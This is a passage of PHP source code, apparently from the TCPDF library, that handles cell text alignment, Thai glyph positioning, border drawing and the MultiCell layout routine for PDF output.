break; } } break; } case 'L': { // font baseline switch ($valign) { case 'T': { // top $y -= ($this->cell_padding['T'] + $this->FontAscent); break; } case 'B': { // bottom $y -= ($h - $this->cell_padding['B'] - $this->FontDescent); break; } default: case 'C': case 'M': { // center $y -= (($h + $this->FontAscent - $this->FontDescent) / 2); break; } } break; } case 'D': { // font bottom switch ($valign) { case 'T': { // top $y -= ($this->cell_padding['T'] + $this->FontAscent + $this->FontDescent); break; } case 'B': { // bottom $y -= ($h - $this->cell_padding['B']); break; } default: case 'C': case 'M': { // center $y -= (($h + $this->FontAscent + $this->FontDescent) / 2); break; } } break; } case 'B': { // cell bottom $y -= $h; break; } case 'C': case 'M': { // cell center $y -= ($h / 2); break; } default: case 'T': { // cell top break; } } // text vertical alignment switch ($valign) { case 'T': { // top $yt = $y + $this->cell_padding['T']; break; } case 'B': { // bottom $yt = $y + $h - $this->cell_padding['B'] - $this->FontAscent - $this->FontDescent; break; } default: case 'C': case 'M': { // center $yt = $y + (($h - $this->FontAscent - $this->FontDescent) / 2); break; } } $basefonty = $yt + $this->FontAscent; if ($this->empty_string($w) OR ($w <= 0)) { if ($this->rtl) { $w = $x - $this->lMargin; } else { $w = $this->w - $this->rMargin - $x; } } $s = ''; // fill and borders if (is_string($border) AND (strlen($border) == 4)) { // full border $border = 1; } if ($fill OR ($border == 1)) { if ($fill) { $op = ($border == 1) ? 'B' : 'f'; } else { $op = 'S'; } if ($this->rtl) { $xk = (($x - $w) * $k); } else { $xk = ($x * $k); } $s .= sprintf('%F %F %F %F re %s ', $xk, (($this->h - $y) * $k), ($w * $k), (-$h * $k), $op); } // draw borders $s .= $this->getCellBorder($x, $y, $w, $h, $border); if ($txt != '') { $txt2 = $txt; if ($this->isunicode) { if (($this->CurrentFont['type'] == 'core') OR ($this->CurrentFont['type'] == 'TrueType') OR ($this->CurrentFont['type'] == 'Type1')) { $txt2 = $this->UTF8ToLatin1($txt2); } else { $unicode = $this->UTF8StringToArray($txt); // array of UTF-8 unicode values $unicode = $this->utf8Bidi($unicode, '', $this->tmprtl); // replace thai chars (if any) if (defined('K_THAI_TOPCHARS') AND (K_THAI_TOPCHARS == true)) { // number of chars $numchars = count($unicode); // po pla, for far, for fan $longtail = array(0x0e1b, 0x0e1d, 0x0e1f); // do chada, to patak $lowtail = array(0x0e0e, 0x0e0f); // mai hun arkad, sara i, sara ii, sara ue, sara uee $upvowel = array(0x0e31, 0x0e34, 0x0e35, 0x0e36, 0x0e37); // mai ek, mai tho, mai tri, mai chattawa, karan $tonemark = array(0x0e48, 0x0e49, 0x0e4a, 0x0e4b, 0x0e4c); // sara u, sara uu, pinthu $lowvowel = array(0x0e38, 0x0e39, 0x0e3a); $output = array(); for ($i = 0; $i < $numchars; $i++) { if (($unicode[$i] >= 0x0e00) && ($unicode[$i] <= 0x0e5b)) { $ch0 = $unicode[$i]; $ch1 = ($i > 0) ? $unicode[($i - 1)] : 0; $ch2 = ($i > 1) ? $unicode[($i - 2)] : 0; $chn = ($i < ($numchars - 1)) ? $unicode[($i + 1)] : 0; if (in_array($ch0, $tonemark)) { if ($chn == 0x0e33) { // sara um if (in_array($ch1, $longtail)) { // tonemark at upper left $output[] = $this->replaceChar($ch0, (0xf713 + $ch0 - 0x0e48)); } else { // tonemark at upper right (normal position) $output[] = $ch0; } } elseif (in_array($ch1, $longtail) OR (in_array($ch2, $longtail) AND in_array($ch1, $lowvowel))) { // tonemark at lower left $output[] = $this->replaceChar($ch0, (0xf705 + $ch0 - 0x0e48)); } elseif (in_array($ch1, $upvowel)) { if (in_array($ch2, $longtail)) { // tonemark at upper left $output[] = $this->replaceChar($ch0, (0xf713 + $ch0 - 0x0e48)); } else { // tonemark at upper right (normal position) $output[] = $ch0; } } else { // tonemark at lower right $output[] = $this->replaceChar($ch0, (0xf70a + $ch0 - 0x0e48)); } } elseif (($ch0 == 0x0e33) AND (in_array($ch1, $longtail) OR (in_array($ch2, $longtail) AND in_array($ch1, $tonemark)))) { // add lower left nikhahit and sara aa if ($this->isCharDefined(0xf711) AND $this->isCharDefined(0x0e32)) { $output[] = 0xf711; $this->CurrentFont['subsetchars'][0xf711] = true; $output[] = 0x0e32; $this->CurrentFont['subsetchars'][0x0e32] = true; } else { $output[] = $ch0; } } elseif (in_array($ch1, $longtail)) { if ($ch0 == 0x0e31) { // lower left mai hun arkad $output[] = $this->replaceChar($ch0, 0xf710); } elseif (in_array($ch0, $upvowel)) { // lower left $output[] = $this->replaceChar($ch0, (0xf701 + $ch0 - 0x0e34)); } elseif ($ch0 == 0x0e47) { // lower left mai tai koo $output[] = $this->replaceChar($ch0, 0xf712); } else { // normal character $output[] = $ch0; } } elseif (in_array($ch1, $lowtail) AND in_array($ch0, $lowvowel)) { // lower vowel $output[] = $this->replaceChar($ch0, (0xf718 + $ch0 - 0x0e38)); } elseif (($ch0 == 0x0e0d) AND in_array($chn, $lowvowel)) { // yo ying without lower part $output[] = $this->replaceChar($ch0, 0xf70f); } elseif (($ch0 == 0x0e10) AND in_array($chn, $lowvowel)) { // tho santan without lower part $output[] = $this->replaceChar($ch0, 0xf700); } else { $output[] = $ch0; } } else { // non-thai character $output[] = $unicode[$i]; } } $unicode = $output; // update font subsetchars $this->setFontSubBuffer($this->CurrentFont['fontkey'], 'subsetchars', $this->CurrentFont['subsetchars']); } // end of K_THAI_TOPCHARS $txt2 = $this->arrUTF8ToUTF16BE($unicode, false); } } $txt2 = $this->_escape($txt2); // get current text width (considering general font stretching and spacing) $txwidth = $this->GetStringWidth($txt); $width = $txwidth; // check for stretch mode if ($stretch > 0) { // calculate ratio between cell width and text width if ($width <= 0) { $ratio = 1; } else { $ratio = (($w - $this->cell_padding['L'] - $this->cell_padding['R']) / $width); } // check if stretching is required if (($ratio < 1) OR (($ratio > 1) AND (($stretch % 2) == 0))) { // the text will be stretched to fit cell width if ($stretch > 2) { // set new character spacing $this->font_spacing += ($w - $this->cell_padding['L'] - $this->cell_padding['R'] - $width) / (max(($this->GetNumChars($txt) - 1), 1) * ($this->font_stretching / 100)); } else { // set new horizontal stretching $this->font_stretching *= $ratio; } // recalculate text width (the text fills the entire cell) $width = $w - $this->cell_padding['L'] - $this->cell_padding['R']; // reset alignment $align = ''; } } if ($this->font_stretching != 100) { // apply font stretching $rs .= sprintf('BT %F Tz ET ', $this->font_stretching); } if ($this->font_spacing != 0) { // increase/decrease font spacing $rs .= sprintf('BT %F Tc ET ', ($this->font_spacing * $this->k)); } if ($this->ColorFlag AND ($this->textrendermode < 4)) { $s .= 'q '.$this->TextColor.' '; } // rendering mode $s .= sprintf('BT %d Tr %F w ET ', $this->textrendermode, ($this->textstrokewidth * $this->k)); // count number of spaces $ns = substr_count($txt, chr(32)); // Justification $spacewidth = 0; if (($align == 'J') AND ($ns > 0)) { if ($this->isUnicodeFont()) { // get string width without spaces $width = $this->GetStringWidth(str_replace(' ', '', $txt)); // calculate average space width $spacewidth = -1000 * ($w - $width - $this->cell_padding['L'] - $this->cell_padding['R']) / ($ns?$ns:1) / $this->FontSize; if ($this->font_stretching != 100) { // word spacing is affected by stretching $spacewidth /= ($this->font_stretching / 100); } // set word position to be used with TJ operator $txt2 = str_replace(chr(0).chr(32), ') '.sprintf('%F', $spacewidth).' (', $txt2); $unicode_justification = true; } else { // get string width $width = $txwidth; // new space width $spacewidth = (($w - $width - $this->cell_padding['L'] - $this->cell_padding['R']) / ($ns?$ns:1)) * $this->k; if ($this->font_stretching != 100) { // word spacing (Tw) is affected by stretching $spacewidth /= ($this->font_stretching / 100); } // set word spacing $rs .= sprintf('BT %F Tw ET ', $spacewidth); } $width = $w - $this->cell_padding['L'] - $this->cell_padding['R']; } // replace carriage return characters $txt2 = str_replace("\r", ' ', $txt2); switch ($align) { case 'C': { $dx = ($w - $width) / 2; break; } case 'R': { if ($this->rtl) { $dx = $this->cell_padding['R']; } else { $dx = $w - $width - $this->cell_padding['R']; } break; } case 'L': { if ($this->rtl) { $dx = $w - $width - $this->cell_padding['L']; } else { $dx = $this->cell_padding['L']; } break; } case 'J': default: { if ($this->rtl) { $dx = $this->cell_padding['R']; } else { $dx = $this->cell_padding['L']; } break; } } if ($this->rtl) { $xdx = $x - $dx - $width; } else { $xdx = $x + $dx; } $xdk = $xdx * $k; // print text $s .= sprintf('BT %F %F Td [(%s)] TJ ET', $xdk, (($this->h - $basefonty) * $k), $txt2); if (isset($uniblock)) { // print overlapping characters as separate string $xshift = 0; // horizontal shift $ty = (($this->h - $basefonty + (0.2 * $this->FontSize)) * $k); $spw = (($w - $txwidth - $this->cell_padding['L'] - $this->cell_padding['R']) / ($ns?$ns:1)); foreach ($uniblock as $uk => $uniarr) { if (($uk % 2) == 0) { // x space to skip if ($spacewidth != 0) { // justification shift $xshift += (count(array_keys($uniarr, 32)) * $spw); } $xshift += $this->GetArrStringWidth($uniarr); // + shift justification } else { // character to print $topchr = $this->arrUTF8ToUTF16BE($uniarr, false); $topchr = $this->_escape($topchr); $s .= sprintf(' BT %F %F Td [(%s)] TJ ET', ($xdk + ($xshift * $k)), $ty, $topchr); } } } if ($this->underline) { $s .= ' '.$this->_dounderlinew($xdx, $basefonty, $width); } if ($this->linethrough) { $s .= ' '.$this->_dolinethroughw($xdx, $basefonty, $width); } if ($this->overline) { $s .= ' '.$this->_dooverlinew($xdx, $basefonty, $width); } if ($this->ColorFlag AND ($this->textrendermode < 4)) { $s .= ' Q'; } if ($link) { $this->Link($xdx, $yt, $width, ($this->FontAscent + $this->FontDescent), $link, $ns); } } // output cell if ($s) { // output cell $rs .= $s; if ($this->font_spacing != 0) { // reset font spacing mode $rs .= ' BT 0 Tc ET'; } if ($this->font_stretching != 100) { // reset font stretching mode $rs .= ' BT 100 Tz ET'; } } // reset word spacing if (!$this->isUnicodeFont() AND ($align == 'J')) { $rs .= ' BT 0 Tw ET'; } // reset stretching and spacing $this->font_stretching = $prev_font_stretching; $this->font_spacing = $prev_font_spacing; $this->lasth = $h; if ($ln > 0) { //Go to the beginning of the next line $this->y = $y + $h + $this->cell_margin['B']; if ($ln == 1) { if ($this->rtl) { $this->x = $this->w - $this->rMargin; } else { $this->x = $this->lMargin; } } } else { // go left or right by case if ($this->rtl) { $this->x = $x - $w - $this->cell_margin['L']; } else { $this->x = $x + $w + $this->cell_margin['R']; } } $gstyles = ''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor."\n"; $rs = $gstyles.$rs; $this->cell_padding = $prev_cell_padding; $this->cell_margin = $prev_cell_margin; return $rs; } /** * Replace a char if is defined on the current font. * @param $oldchar (int) Integer code (unicode) of the character to replace. * @param $newchar (int) Integer code (unicode) of the new character. * @return int the replaced char or the old char in case the new char i not defined * @protected * @since 5.9.167 (2012-06-22) */ protected function replaceChar($oldchar, $newchar) { if ($this->isCharDefined($newchar)) { // add the new char on the subset list $this->CurrentFont['subsetchars'][$newchar] = true; // return the new character return $newchar; } // return the old char return $oldchar; } /** * Returns the code to draw the cell border * @param $x (float) X coordinate. * @param $y (float) Y coordinate. * @param $w (float) Cell width. * @param $h (float) Cell height. * @param $brd (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @return string containing cell border code * @protected * @see SetLineStyle() * @since 5.7.000 (2010-08-02) */ protected function getCellBorder($x, $y, $w, $h, $brd) { $s = ''; // string to be returned if (empty($brd)) { return $s; } if ($brd == 1) { $brd = array('LRTB' => true); } // calculate coordinates for border $k = $this->k; if ($this->rtl) { $xeL = ($x - $w) * $k; $xeR = $x * $k; } else { $xeL = $x * $k; $xeR = ($x + $w) * $k; } $yeL = (($this->h - ($y + $h)) * $k); $yeT = (($this->h - $y) * $k); $xeT = $xeL; $xeB = $xeR; $yeR = $yeT; $yeB = $yeL; if (is_string($brd)) { // convert string to array $slen = strlen($brd); $newbrd = array(); for ($i = 0; $i < $slen; ++$i) { $newbrd[$brd[$i]] = array('cap' => 'square', 'join' => 'miter'); } $brd = $newbrd; } if (isset($brd['mode'])) { $mode = $brd['mode']; unset($brd['mode']); } else { $mode = 'normal'; } foreach ($brd as $border => $style) { if (is_array($style) AND !empty($style)) { // apply border style $prev_style = $this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '; $s .= $this->SetLineStyle($style, true)."\n"; } switch ($mode) { case 'ext': { $off = (($this->LineWidth / 2) * $k); $xL = $xeL - $off; $xR = $xeR + $off; $yT = $yeT + $off; $yL = $yeL - $off; $xT = $xL; $xB = $xR; $yR = $yT; $yB = $yL; $w += $this->LineWidth; $h += $this->LineWidth; break; } case 'int': { $off = ($this->LineWidth / 2) * $k; $xL = $xeL + $off; $xR = $xeR - $off; $yT = $yeT - $off; $yL = $yeL + $off; $xT = $xL; $xB = $xR; $yR = $yT; $yB = $yL; $w -= $this->LineWidth; $h -= $this->LineWidth; break; } case 'normal': default: { $xL = $xeL; $xT = $xeT; $xB = $xeB; $xR = $xeR; $yL = $yeL; $yT = $yeT; $yB = $yeB; $yR = $yeR; break; } } // draw borders by case if (strlen($border) == 4) { $s .= sprintf('%F %F %F %F re S ', $xT, $yT, ($w * $k), (-$h * $k)); } elseif (strlen($border) == 3) { if (strpos($border,'B') === false) { // LTR $s .= sprintf('%F %F m ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= 'S '; } elseif (strpos($border,'L') === false) { // TRB $s .= sprintf('%F %F m ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= 'S '; } elseif (strpos($border,'T') === false) { // RBL $s .= sprintf('%F %F m ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= 'S '; } elseif (strpos($border,'R') === false) { // BLT $s .= sprintf('%F %F m ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= 'S '; } } elseif (strlen($border) == 2) { if ((strpos($border,'L') !== false) AND (strpos($border,'T') !== false)) { // LT $s .= sprintf('%F %F m ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= 'S '; } elseif ((strpos($border,'T') !== false) AND (strpos($border,'R') !== false)) { // TR $s .= sprintf('%F %F m ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= 'S '; } elseif ((strpos($border,'R') !== false) AND (strpos($border,'B') !== false)) { // RB $s .= sprintf('%F %F m ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= 'S '; } elseif ((strpos($border,'B') !== false) AND (strpos($border,'L') !== false)) { // BL $s .= sprintf('%F %F m ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= 'S '; } elseif ((strpos($border,'L') !== false) AND (strpos($border,'R') !== false)) { // LR $s .= sprintf('%F %F m ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= 'S '; $s .= sprintf('%F %F m ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= 'S '; } elseif ((strpos($border,'T') !== false) AND (strpos($border,'B') !== false)) { // TB $s .= sprintf('%F %F m ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= 'S '; $s .= sprintf('%F %F m ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= 'S '; } } else { // strlen($border) == 1 if (strpos($border,'L') !== false) { // L $s .= sprintf('%F %F m ', $xL, $yL); $s .= sprintf('%F %F l ', $xT, $yT); $s .= 'S '; } elseif (strpos($border,'T') !== false) { // T $s .= sprintf('%F %F m ', $xT, $yT); $s .= sprintf('%F %F l ', $xR, $yR); $s .= 'S '; } elseif (strpos($border,'R') !== false) { // R $s .= sprintf('%F %F m ', $xR, $yR); $s .= sprintf('%F %F l ', $xB, $yB); $s .= 'S '; } elseif (strpos($border,'B') !== false) { // B $s .= sprintf('%F %F m ', $xB, $yB); $s .= sprintf('%F %F l ', $xL, $yL); $s .= 'S '; } } if (is_array($style) AND !empty($style)) { // reset border style to previous value $s .= "\n".$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor."\n"; } } return $s; } /** * This method allows printing text with line breaks. * They can be automatic (as soon as the text reaches the right border of the cell) or explicit (via the \n character). As many cells as necessary are output, one below the other.<br /> * Text can be aligned, centered or justified. The cell block can be framed and the background painted. * @param $w (float) Width of cells. If 0, they extend up to the right margin of the page. * @param $h (float) Cell minimum height. The cell extends automatically if needed. * @param $txt (string) String to print * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L or empty string: left align</li><li>C: center</li><li>R: right align</li><li>J: justification (default value when $ishtml=false)</li></ul> * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $ln (int) Indicates where the current position should go after the call. Possible values are:<ul><li>0: to the right</li><li>1: to the beginning of the next line [DEFAULT]</li><li>2: below</li></ul> * @param $x (float) x position in user units * @param $y (float) y position in user units * @param $reseth (boolean) if true reset the last cell height (default true). * @param $stretch (int) font stretch mode: <ul><li>0 = disabled</li><li>1 = horizontal scaling only if text is larger than cell width</li><li>2 = forced horizontal scaling to fit cell width</li><li>3 = character spacing only if text is larger than cell width</li><li>4 = forced character spacing to fit cell width</li></ul> General font stretching and scaling values will be preserved when possible. * @param $ishtml (boolean) INTERNAL USE ONLY -- set to true if $txt is HTML content (default = false). Never set this parameter to true, use instead writeHTMLCell() or writeHTML() methods. * @param $autopadding (boolean) if true, uses internal padding and automatically adjust it to account for line width. * @param $maxh (float) maximum height. It should be >= $h and less then remaining space to the bottom of the page, or 0 for disable this feature. This feature works only when $ishtml=false. * @param $valign (string) Vertical alignment of text (requires $maxh = $h > 0). Possible values are:<ul><li>T: TOP</li><li>M: middle</li><li>B: bottom</li></ul>. This feature works only when $ishtml=false and the cell must fit in a single page. * @param $fitcell (boolean) if true attempt to fit all the text within the cell by reducing the font size (do not work in HTML mode). * @return int Return the number of cells or 1 for html mode. * @public * @since 1.3 * @see SetFont(), SetDrawColor(), SetFillColor(), SetTextColor(), SetLineWidth(), Cell(), Write(), SetAutoPageBreak() */ public function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false, $ln=1, $x='', $y='', $reseth=true, $stretch=0, $ishtml=false, $autopadding=true, $maxh=0, $valign='T', $fitcell=false) { $prev_cell_margin = $this->cell_margin; $prev_cell_padding = $this->cell_padding; // adjust internal padding $this->adjustCellPadding($border); $mc_padding = $this->cell_padding; $mc_margin = $this->cell_margin; $this->cell_padding['T'] = 0; $this->cell_padding['B'] = 0; $this->setCellMargins(0, 0, 0, 0); if ($this->empty_string($this->lasth) OR $reseth) { // reset row height $this->resetLastH(); } if (!$this->empty_string($y)) { $this->SetY($y); } else { $y = $this->GetY(); } $resth = 0; if (($h > 0) AND $this->inPageBody() AND (($y + $h + $mc_margin['T'] + $mc_margin['B']) > $this->PageBreakTrigger)) { // spit cell in more pages/columns $newh = ($this->PageBreakTrigger - $y); $resth = ($h - $newh); // cell to be printed on the next page/column $h = $newh; } // get current page number $startpage = $this->page; // get current column $startcolumn = $this->current_column; if (!$this->empty_string($x)) { $this->SetX($x); } else { $x = $this->GetX(); } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions(0, $x, $y); // apply margins $oy = $y + $mc_margin['T']; if ($this->rtl) { $ox = ($this->w - $x - $mc_margin['R']); } else { $ox = ($x + $mc_margin['L']); } $this->x = $ox; $this->y = $oy; // set width if ($this->empty_string($w) OR ($w <= 0)) { if ($this->rtl) { $w = ($this->x - $this->lMargin - $mc_margin['L']); } else { $w = ($this->w - $this->x - $this->rMargin - $mc_margin['R']); } } // store original margin values $lMargin = $this->lMargin; $rMargin = $this->rMargin; if ($this->rtl) { $this->rMargin = ($this->w - $this->x); $this->lMargin = ($this->x - $w); } else { $this->lMargin = ($this->x); $this->rMargin = ($this->w - $this->x - $w); } $this->clMargin = $this->lMargin; $this->crMargin = $this->rMargin; if ($autopadding) { // add top padding $this->y += $mc_padding['T']; } if ($ishtml) { // ******* Write HTML text $this->writeHTML($txt, true, false, $reseth, true, $align); $nl = 1; } else { // ******* Write simple text $prev_FontSizePt = $this->FontSizePt; // vertical alignment if ($maxh > 0) { // get text height $text_height = $this->getStringHeight($w, $txt, $reseth, $autopadding, $mc_padding, $border); if ($fitcell) { // try to reduce font size to fit text on cell (use a quick search algorithm) $fmin = 1; $fmax = $this->FontSizePt; $prev_text_height = $text_height; $maxit = 100; // max number of iterations while ($maxit > 0) { $fmid = (($fmax + $fmin) / 2); $this->SetFontSize($fmid, false); $this->resetLastH(); $text_height = $this->getStringHeight($w, $txt, $reseth, $autopadding, $mc_padding, $border); if (($text_height == $maxh) OR (($text_height < $maxh) AND ($fmin >= ($fmax - 0.01)))) { break; } elseif ($text_height < $maxh) { $fmin = $fmid; } else { $fmax = $fmid; } --$maxit; } $this->SetFontSize($this->FontSizePt); } if ($text_height < $maxh) { if ($valign == 'M') { // text vertically centered $this->y += (($maxh - $text_height) / 2); } elseif ($valign == 'B') { // text vertically aligned on bottom $this->y += ($maxh - $text_height); } } } $nl = $this->Write($this->lasth, $txt, '', 0, $align, true, $stretch, false, true, $maxh, 0, $mc_margin); if ($fitcell) { // restore font size $this->SetFontSize($prev_FontSizePt); } } if ($autopadding) { // add bottom padding $this->y += $mc_padding['B']; } // Get end-of-text Y position $currentY = $this->y; // get latest page number $endpage = $this->page; if ($resth > 0) { $skip = ($endpage - $startpage); $tmpresth = $resth; while ($tmpresth > 0) { if ($skip <= 0) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } if ($this->num_columns > 1) { $tmpresth -= ($this->h - $this->y - $this->bMargin); } else { $tmpresth -= ($this->h - $this->tMargin - $this->bMargin); } --$skip; } $currentY = $this->y; $endpage = $this->page; } // get latest column $endcolumn = $this->current_column; if ($this->num_columns == 0) { $this->num_columns = 1; } // disable page regions check $check_page_regions = $this->check_page_regions; $this->check_page_regions = false; // get border modes $border_start = $this->getBorderMode($border, $position='start'); $border_end = $this->getBorderMode($border, $position='end'); $border_middle = $this->getBorderMode($border, $position='middle'); // design borders around HTML cells. for ($page = $startpage; $page <= $endpage; ++$page) { // for each page $ccode = ''; $this->setPage($page); if ($this->num_columns < 2) { // single-column mode $this->SetX($x); $this->y = $this->tMargin; } // account for margin changes if ($page > $startpage) { if (($this->rtl) AND ($this->pagedim[$page]['orm'] != $this->pagedim[$startpage]['orm'])) { $this->x -= ($this->pagedim[$page]['orm'] - $this->pagedim[$startpage]['orm']); } elseif ((!$this->rtl) AND ($this->pagedim[$page]['olm'] != $this->pagedim[$startpage]['olm'])) { $this->x += ($this->pagedim[$page]['olm'] - $this->pagedim[$startpage]['olm']); } } if ($startpage == $endpage) { // single page for ($column = $startcolumn; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($this->rtl) { $this->x -= $mc_margin['R']; } else { $this->x += $mc_margin['L']; } if ($startcolumn == $endcolumn) { // single column $cborder = $border; $h = max($h, ($currentY - $oy)); $this->y = $oy; } elseif ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $oy; $h = $this->h - $this->y - $this->bMargin; } elseif ($column == $endcolumn) { // end column $cborder = $border_end; $h = $currentY - $this->y; if ($resth > $h) { $h = $resth; } } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; $resth -= $h; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $startpage) { // first page for ($column = $startcolumn; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); if ($this->rtl) { $this->x -= $mc_margin['R']; } else { $this->x += $mc_margin['L']; } if ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $oy; $h = $this->h - $this->y - $this->bMargin; } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; $resth -= $h; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $endpage) { // last page for ($column = 0; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($this->rtl) { $this->x -= $mc_margin['R']; } else { $this->x += $mc_margin['L']; } if ($column == $endcolumn) { // end column $cborder = $border_end; $h = $currentY - $this->y; if ($resth > $h) { $h = $resth; } } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; $resth -= $h; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } else { // middle page for ($column = 0; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); if ($this->rtl) { $this->x -= $mc_margin['R']; } else { $this->x += $mc_margin['L']; } $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; $resth -= $h; $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } if ($cborder OR $fill) { $offsetlen = strlen($ccode); // draw border and fill if ($this->inxobj) { // we are inside an XObject template if (end($this->xobjects[$this->xobjid]['transfmrk']) !== false) { $pagemarkkey = key($this->xobjects[$this->xobjid]['transfmrk']); $pagemark = $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]; $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey] += $offsetlen; } else { $pagemark = $this->xobjects[$this->xobjid]['intmrk']; $this->xobjects[$this->xobjid]['intmrk'] += $offsetlen; } $pagebuff = $this->xobjects[$this->xobjid]['outdata']; $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->xobjects[$this->xobjid]['outdata'] = $pstart.$ccode.$pend; } else { if (end($this->transfmrk[$this->page]) !== false) { $pagemarkkey = key($this->transfmrk[$this->page]); $pagemark = $this->transfmrk[$this->page][$pagemarkkey]; $this->transfmrk[$this->page][$pagemarkkey] += $offsetlen; } elseif ($this->InFooter) { $pagemark = $this->footerpos[$this->page]; $this->footerpos[$this->page] += $offsetlen; } else { $pagemark = $this->intmrk[$this->page]; $this->intmrk[$this->page] += $offsetlen; } $pagebuff = $this->getPageBuffer($this->page); $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->setPageBuffer($this->page, $pstart.$ccode.$pend); } } } // end for each page // restore page regions check $this->check_page_regions = $check_page_regions; // Get end-of-cell Y position $currentY = $this->GetY(); // restore previous values if ($this->num_columns > 1) { $this->selectColumn(); } else { // restore original margins $this->lMargin = $lMargin; $this->rMargin = $rMargin; if ($this->page > $startpage) { // check for margin variations between pages (i.e. booklet mode) $dl = ($this->pagedim[$this->page]['olm'] - $this->pagedim[$startpage]['olm']); $dr = ($this->pagedim[$this->page]['orm'] - $this->pagedim[$startpage]['orm']); if (($dl != 0) OR ($dr != 0)) { $this->lMargin += $dl; $this->rMargin += $dr; } } } if ($ln > 0) { //Go to the beginning of the next line $this->SetY($currentY + $mc_margin['B']); if ($ln == 2) { $this->SetX($x + $w + $mc_margin['L'] + $mc_margin['R']); } } else { // go left or right by case $this->setPage($startpage); $this->y = $y; $this->SetX($x + $w + $mc_margin['L'] + $mc_margin['R']); } $this->setContentMark(); $this->cell_padding = $prev_cell_padding; $this->cell_margin = $prev_cell_margin; $this->clMargin = $this->lMargin; $this->crMargin = $this->rMargin; return $nl; } /** * Get the border mode accounting for multicell position (opens bottom side of multicell crossing pages) * @param $brd (mixed) Indicates if borders must be drawn around the cell block. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul>or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $position (string) multicell position: 'start', 'middle', 'end' * @return border mode array * @protected * @since 4.4.002 (2008-12-09) */ protected function getBorderMode($brd, $position='start') { if ((!$this->opencell) OR empty($brd)) { return $brd; } if ($brd == 1) { $brd = 'LTRB'; } if (is_string($brd)) { // convert string to array $slen = strlen($brd); $newbrd = array(); for ($i = 0; $i < $slen; ++$i) { $newbrd[$brd[$i]] = array('cap' => 'square', 'join' => 'miter'); } $brd = $newbrd; } foreach ($brd as $border => $style) { switch ($position) { case 'start': { if (strpos($border, 'B') !== false) { // remove bottom line $newkey = str_replace('B', '', $border); if (strlen($newkey) > 0) { $brd[$newkey] = $style; } unset($brd[$border]); } break; } case 'middle': { if 